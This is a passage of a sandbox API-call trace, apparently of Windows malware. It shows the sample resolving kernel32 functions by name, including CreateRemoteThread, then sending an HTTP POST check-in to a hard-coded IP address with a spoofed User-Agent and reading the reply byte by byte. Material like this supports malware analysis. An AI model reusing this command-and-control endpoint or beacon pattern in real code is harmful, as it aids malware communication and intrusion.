(lpString="CREATEFIBER") returned 11 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.674] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.674] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.674] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.674] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.674] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.674] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.674] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0101.674] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0101.674] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0101.674] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0101.674] lstrlenA (lpString="CREATEFILEW") returned 11 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0101.675] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0101.675] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0101.675] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0101.675] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0101.675] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0101.675] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0101.675] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0101.675] lstrlenA (lpString="CREATEJOBSET") returned 12 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0101.675] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0101.675] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0101.675] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0101.675] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0101.675] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0101.675] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0101.675] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0101.675] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0101.675] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0101.676] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0101.676] lstrlenA (lpString="CREATEPIPE") returned 10 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0101.676] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0101.676] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0101.676] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0101.676] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0101.676] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0101.676] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0101.676] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0101.676] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0101.677] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0101.677] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0101.677] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0101.677] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0101.677] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0101.677] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0101.677] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0101.677] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0101.677] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0101.677] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0101.678] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0101.678] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0101.678] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0101.678] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0101.678] lstrlenA (lpString="CREATETHREAD") returned 12 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0101.678] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0101.678] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0101.678] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0101.678] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0101.678] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0101.678] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0101.678] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0101.679] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.679] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.680] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.681] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0101.682] wsprintfA (in: param_1=0x3b80000, param_2="POST /%s HTTP/1.1\r\nUser-Agent: %s\r\nHost: %s\r\nContent-Type: %s\r\nContent-Length: %d\r\nConnection: Keep-Alive\r\n\r\n" | out: param_1="POST /news/xpiqemkfqm.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\nHost: 92.63.17.245\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 221\r\nConnection: Keep-Alive\r\n\r\n") returned 238 [0101.683] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.683] send (s=0x544, buf=0x3b80000*, len=459, flags=0) returned 459 [0101.684] shutdown (s=0x544, how=1) returned 0 [0101.685] recv (in: s=0x544, buf=0x2e7f828, len=1, flags=0 | out: buf=0x2e7f828*) returned 1 [0101.753] recv (in: s=0x544, buf=0x2e7f829, len=1, flags=0 | out: buf=0x2e7f829*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82a, len=1, flags=0 | out: buf=0x2e7f82a*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82b, len=1, flags=0 | out: buf=0x2e7f82b*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82c, len=1, flags=0 | out: buf=0x2e7f82c*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82d, len=1, flags=0 | out: buf=0x2e7f82d*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82e, len=1, flags=0 | out: buf=0x2e7f82e*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f82f, len=1, flags=0 | out: buf=0x2e7f82f*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f830, len=1, flags=0 | out: buf=0x2e7f830*) returned 1 [0101.754] recv (in: s=0x544, buf=0x2e7f831, len=1, flags=0 | out: buf=0x2e7f831*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f832, len=1, flags=0 | out: buf=0x2e7f832*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f833, len=1, flags=0 | out: buf=0x2e7f833*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f834, len=1, flags=0 | out: buf=0x2e7f834*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f835, len=1, flags=0 | out: buf=0x2e7f835*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f836, len=1, flags=0 | out: buf=0x2e7f836*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f837, len=1, flags=0 | out: buf=0x2e7f837*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f838, len=1, flags=0 | out: buf=0x2e7f838*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f839, len=1, flags=0 | out: buf=0x2e7f839*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83a, len=1, flags=0 | out: buf=0x2e7f83a*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83b, len=1, flags=0 | out: buf=0x2e7f83b*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83c, len=1, flags=0 | out: buf=0x2e7f83c*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83d, len=1, flags=0 | out: buf=0x2e7f83d*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83e, len=1, flags=0 | out: buf=0x2e7f83e*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f83f, len=1, flags=0 | out: buf=0x2e7f83f*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f840, len=1, flags=0 | out: buf=0x2e7f840*) returned 1 [0101.755] recv (in: s=0x544, buf=0x2e7f841, len=1, flags=0 | out: buf=0x2e7f841*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f842, len=1, flags=0 | out: buf=0x2e7f842*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f843, len=1, flags=0 | out: buf=0x2e7f843*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f844, len=1, flags=0 | out: buf=0x2e7f844*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f845, len=1, flags=0 | out: buf=0x2e7f845*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f846, len=1, flags=0 | out: buf=0x2e7f846*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f847, len=1, flags=0 | out: buf=0x2e7f847*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f848, len=1, flags=0 | out: buf=0x2e7f848*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f849, len=1, flags=0 | out: buf=0x2e7f849*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84a, len=1, flags=0 | out: buf=0x2e7f84a*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84b, len=1, flags=0 | out: buf=0x2e7f84b*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84c, len=1, flags=0 | out: buf=0x2e7f84c*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84d, len=1, flags=0 | out: buf=0x2e7f84d*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84e, len=1, flags=0 | out: buf=0x2e7f84e*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f84f, len=1, flags=0 | out: buf=0x2e7f84f*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f850, len=1, flags=0 | out: buf=0x2e7f850*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f851, len=1, flags=0 | out: buf=0x2e7f851*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f852, len=1, flags=0 | out: buf=0x2e7f852*) returned 1 [0101.756] recv (in: s=0x544, buf=0x2e7f853, len=1, flags=0 | out: buf=0x2e7f853*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f854, len=1, flags=0 | out: buf=0x2e7f854*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f855, len=1, flags=0 | out: buf=0x2e7f855*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f856, len=1, flags=0 | out: buf=0x2e7f856*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f857, len=1, flags=0 | out: buf=0x2e7f857*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f858, len=1, flags=0 | out: buf=0x2e7f858*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f859, len=1, flags=0 | out: buf=0x2e7f859*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85a, len=1, flags=0 | out: buf=0x2e7f85a*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85b, len=1, flags=0 | out: buf=0x2e7f85b*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85c, len=1, flags=0 | out: buf=0x2e7f85c*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85d, len=1, flags=0 | out: buf=0x2e7f85d*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85e, len=1, flags=0 | out: buf=0x2e7f85e*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f85f, len=1, flags=0 | out: buf=0x2e7f85f*) returned 1 [0101.757] recv (in: s=0x544, buf=0x2e7f860, len=1, flags=0 | out: buf=0x2e7f860*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f861, len=1, flags=0 | out: buf=0x2e7f861*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f862, len=1, flags=0 | out: buf=0x2e7f862*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f863, len=1, flags=0 | out: buf=0x2e7f863*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f864, len=1, flags=0 | out: buf=0x2e7f864*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f865, len=1, flags=0 | out: buf=0x2e7f865*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f866, len=1, flags=0 | out: buf=0x2e7f866*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f867, len=1, flags=0 | out: buf=0x2e7f867*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f868, len=1, flags=0 | out: buf=0x2e7f868*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f869, len=1, flags=0 | out: buf=0x2e7f869*) returned 1 [0101.758] recv (in: s=0x544, buf=0x2e7f86a, len=1, flags=0 | out: buf=0x2e7f86a*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f86b, len=1, flags=0 | out: buf=0x2e7f86b*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f86c, len=1, flags=0 | out: buf=0x2e7f86c*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f86d, len=1, flags=0 | out: buf=0x2e7f86d*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f86e, len=1, flags=0 | out: buf=0x2e7f86e*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f86f, len=1, flags=0 | out: buf=0x2e7f86f*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f870, len=1, flags=0 | out: buf=0x2e7f870*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f871, len=1, flags=0 | out: buf=0x2e7f871*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f872, len=1, flags=0 | out: buf=0x2e7f872*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f873, len=1, flags=0 | out: buf=0x2e7f873*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f874, len=1, flags=0 | out: buf=0x2e7f874*) returned 1 [0101.759] recv (in: s=0x544, buf=0x2e7f875, len=1, flags=0 | out: buf=0x2e7f875*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f876, len=1, flags=0 | out: buf=0x2e7f876*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f877, len=1, flags=0 | out: buf=0x2e7f877*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f878, len=1, flags=0 | out: buf=0x2e7f878*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f879, len=1, flags=0 | out: buf=0x2e7f879*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87a, len=1, flags=0 | out: buf=0x2e7f87a*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87b, len=1, flags=0 | out: buf=0x2e7f87b*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87c, len=1, flags=0 | out: buf=0x2e7f87c*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87d, len=1, flags=0 | out: buf=0x2e7f87d*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87e, len=1, flags=0 | out: buf=0x2e7f87e*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f87f, len=1, flags=0 | out: buf=0x2e7f87f*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f880, len=1, flags=0 | out: buf=0x2e7f880*) returned 1 [0101.760] recv (in: s=0x544, buf=0x2e7f881, len=1, flags=0 | out: buf=0x2e7f881*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f882, len=1, flags=0 | out: buf=0x2e7f882*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f883, len=1, flags=0 | out: buf=0x2e7f883*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f884, len=1, flags=0 | out: buf=0x2e7f884*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f885, len=1, flags=0 | out: buf=0x2e7f885*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f886, len=1, flags=0 | out: buf=0x2e7f886*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f887, len=1, flags=0 | out: buf=0x2e7f887*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f888, len=1, flags=0 | out: buf=0x2e7f888*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0101.761] recv (in: s=0x544, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0101.762] recv (in: s=0x544, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0101.763] recv (in: s=0x544, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0101.764] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: 